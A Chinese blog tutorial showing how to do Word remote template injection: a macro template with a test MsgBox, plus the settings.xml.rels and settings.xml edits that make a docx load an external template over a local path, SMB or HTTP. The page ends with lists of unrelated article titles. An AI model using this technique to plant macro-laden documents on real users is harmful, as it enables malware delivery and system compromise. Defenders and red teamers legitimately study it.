要实现word模板注入,需要一个被注入的文档,以及一个注入用的模板。

1.创建一个启用宏的模板

  打开word,alt+f8创建编辑宏,在Project->Microsoft Word对象->ThisDocument中编写宏代码。

Sub Document_Open()

MsgBox "模板注入测试"
End Sub

  保存为带宏的模板即可。

2.创建被注入文档

  接下来是用于接受注入的文档,docx实际是个压缩包,修改后缀为zip并解压,进入目录“word/_rels”,创建文件settings.xml.rels,内容为:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
<Relationship Id="rId1337" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate"
Target="file://x:\your\template\file\path"
TargetMode="External"/>
</Relationships>

  Relationship标签中的Target属性值可以是本地路径,也可以是SMB、HTTP等网络协议。

  记录Id属性值xxxx,测试发现该值为多少并不影响最终利用。

  回到上一级目录,即“Word/”下,打开文件settings.xml,插入标签<w:attachedTemplate r:id="xxxx"/>

  最后打包整个文件夹为zip,修改后缀名为word文档格式名,比如doc,docx。

  最后,双击运行,即加载模板。这里测试使用的模板是需要运行宏代码,所以还是需要“启用内容”才能生效。

最新文章

  1. php 图片上传的公共方法(按图片宽高缩放或原图)
  2. mariadb 10.2.3支持oracle execute immediate语法
  3. 论文阅读(Weilin Huang——【TIP2016】Text-Attentional Convolutional Neural Network for Scene Text Detection)
  4. 一些webGL的资源
  5. bootshrap会改变IE浏览器滚动条样式
  6. UITextField详解
  7. HeadFirst Jsp 05 (属性和监听)
  8. python学习笔记21(正则表达式)
  9. scp 详细总结
  10. [Unity c#]c#中的反射
  11. [html5] 学习笔记-bootstrap介绍
  12. WebApi返回类型设置为json的三种方法
  13. Linux下批量修改后缀名
  14. ubuntu安装苹果Windows以及微软雅黑consolas字体
  15. CISCO静态路由配置
  16. 【Python52--爬虫1】
  17. Lintcode: First Position of Target (Binary Search)
  18. Redis设计与实现读书笔记——简单动态字符串
  19. 用Matlab实现字符串分割(split)
  20. xrange和range的区别

热门文章

  1. koa路由接口
  2. 利用static来实现单例模式
  3. LINUX学习-PHP安装
  4. stm32单片机利用ntc热敏电阻温度转换公式C语言版
  5. 微信小程序使用Websocket
  6. 【Java】抽象类与抽象方法
  7. 【Java】main方法的理解
  8. Java 内幕新闻第二期深度解读
  9. [STM32F10x] 使用printf函数进行串口调试问题
  10. 【C++】指针和函数